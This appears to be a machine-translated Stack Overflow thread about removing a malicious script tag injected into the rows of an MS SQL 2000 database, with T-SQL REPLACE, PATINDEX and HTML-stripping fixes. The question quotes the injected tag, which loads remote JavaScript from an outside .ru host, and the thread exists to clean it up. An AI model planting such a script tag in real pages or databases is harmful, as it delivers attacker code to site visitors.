2009-10-29 132 views
1

我已经递交了已注入恶意软件的MS SQL 2000数据库。 恶意软件脚本如下:无法从数据库行中删除注入的脚本

<script src=http://www.someAddress.ru/aScript.js></script> 

现在我想从表中的行删除这段代码。

作为一个测试,我inputed < H1>测试</H1>某一行上,并成功运行了以下查询:

UPDATE myTable 
SET description = REPLACE (description, '<h1>','') 
WHERE id = 2; 

这样取出h1标签。

但是,试图相同的脚本标签不起作用:

UPDATE myTable 
set description = REPLACE (description, '<script src=http://www.someAddress.ru/aScript.js></script>','') 
WHERE id = 2 

为什么这个不行?

UPDATE 2
WOHO!我找到了解决方案! 我使用folloing代码,我发现这里:http://www.tek-tips.com/viewthread.cfm?qid=1563568&page=3

-- Look for open and close HTML tags making sure a letter or/follows < ensuring its an opening 
-- HTML tag or closing HTML tag and not an unencoded < symbol 
CREATE FUNCTION [dbo].[udf_StripHTML] 
    (@HTMLText VARCHAR(8000)) 
RETURNS VARCHAR(8000) 
      AS 
    BEGIN 
    DECLARE @Start INT 
    DECLARE @End INT 
    DECLARE @Length INT 
     SET @Start = CHARINDEX('<',@HTMLText) 
     SET @End = CHARINDEX('>',@HTMLText,CHARINDEX('<',@HTMLText)) 
     SET @Length = (@End - @Start) + 1 
    WHILE @Start > 0 
       AND @End > 0 
      AND @Length > 0 
     BEGIN 
     SET @HTMLText = STUFF(@HTMLText,@Start,@Length,'') 
     SET @Start = CHARINDEX('<',@HTMLText) 
     SET @End = CHARINDEX('>',@HTMLText,CHARINDEX('<',@HTMLText)) 
     SET @Length = (@End - @Start) + 1 
     END 
    RETURN Replace(LTRIM(RTRIM(@HTMLText)),'&nbsp;',' ') 
    END 
GO 

要删除HTML标签/脚本,我运行以下查询:

UPDATE mytable 
SET description = [dbo].[udf_StripHTML](description) 
//WHERE id = 35; 

这完美的作品。请注意,这个脚本删除了所有的html。因此,如果我只想删除<脚本,我只需将'<'替换为'<脚本'。

+2

我首先想到的是换行... – 2009-10-29 16:23:58

+0

@rexem:你能详细点吗? – Steven 2009-10-29 17:03:44

回答

1

您是否尝试过寻找刚刚aScript.js,条目可以url_encoded,或类似的东西,所以它给像

 
%3Cscript+src%3Dhttp%3A%2F%2Fwww.someAddress.ru%2FaScript.js%3E%3C%2Fscript%3E 

重读问题

你的意思是,即使你有id = 2的列中的脚本标记它不起作用?因为如果它不工作,你确定它存在与id = 2的行? :p

+0

否则在服务器管理一个SELECT显示在明文 – Steven 2009-10-29 16:26:21

+0

文 “请从文件描述其中id = 2” ---> Steven 2009-10-29 16:30:01

1

应该工作,除非在那里有其他隐藏的字符,你看不到,或者有某种形式的编码正在进行。你可以选择一个可疑的行看得更仔细。

如果可能,我倾向于完全DELETE FROM myTable WHERE description LIKE '%someAddress.ru%'

但是,修复数据库不是一个真正的解决方案;该应用程序必须修复。它不应该从未编码的数据库中回显文本。如果有人输入一些数据,包括字符串<script>,它应该简单地在页面上显示为字符串<script>或源&lt;script>

+0

我知道应用程序必须修复。这只是一个快速和肮脏的修复,让网站恢复正常运行。我无法删除行,因为所有表行中有95%具有此脚本。我只需要删除脚本。 – Steven 2009-10-29 16:40:20

+0

哦,所以你还有SQL注入,除此之外呢?哎哟。如果它像自动化的Asprox攻击一样,如果您将未固定的应用程序备份,您将立即获得拥有权。 – bobince 2009-10-30 14:01:13

1

src属性值不会被引号包围吗?如果是这样,你将不得不逃脱他们以取得适当的替补比赛。

1

为什么不尝试:

UPDATE myTable 
set description = REPLACE (description, 'www.someAddress.ru','localhost') 
WHERE id = 2 

这将消除立即劫持的问题,可能会避免断行/时髦人物的问题。

+0

是的,那是一种选择。但我找到了删除整个脚本链接的解决方案。见上面的解决方案 – Steven 2009-10-29 17:16:13

-1

坚持...

数据库是否与财务系统有关?萨班斯 - 奥克斯利法案的申请是?有没有欺诈行为?

,这些事情你排除作出修改,将“毁灭证据”。那些穿着夹克“FBI”的小家伙并没有对此好心。将它备份起来以及日志(SQL和Web)并将该备份放在几张DVD上是件好事。最好是移除磁盘并放入另一个磁盘(但这可能不是一个选项)。

移动到清洁: bobince的方向是正确的。不要查找整个SCRIPT标签,或尝试查找变体。相反,在脚本标记中查找不属于正常数据集的内容。这就是你的钥匙。如果它选择好,然后把它变成一个DELETE并保存该查询,因为当你开始修复应用程序时你会需要它(保证你的数据库会再次被损坏)。

+0

萨班斯 - 奥克斯利法案:如果运行这个应用程序的公司是公开交易的话,那么很可能是它在SOx下面。如果应用程序以任何方式被审计,那么审计人员需要知道发生了什么。呃,那么有变化控制... – inked 2009-10-29 16:57:01

+0

我需要对解决方案的建议。如果你阅读了我对bobince的评论,我不能删除任何行。 – Steven 2009-10-29 16:59:38

+0

哦,好吧,试着自己解决这个问题很有趣。 – inked 2009-10-29 17:09:19

0

你可以尝试以下剥去码出你的领域(我假设你有,你想保持在同一领域的信息):

update myTable 
set description = case when PATINDEX('%<script%', notes) > 0 
     then SUBSTRING(notes, 1, PATINDEX('%<script%', notes)-1) + SUBSTRING(notes, PATINDEX('%script>%', notes) + 7, LEN(notes)) 
     else notes 
     end 
where id=2 

你可以先运行一个选择在运行更新之前查看CASE语句返回的值是否正确。不过,它不应该影响没有脚本标记的字段。

+0

啊,谢谢。在我找到自己的解决方案之前没有看到这个。 – Steven 2009-10-29 17:15:15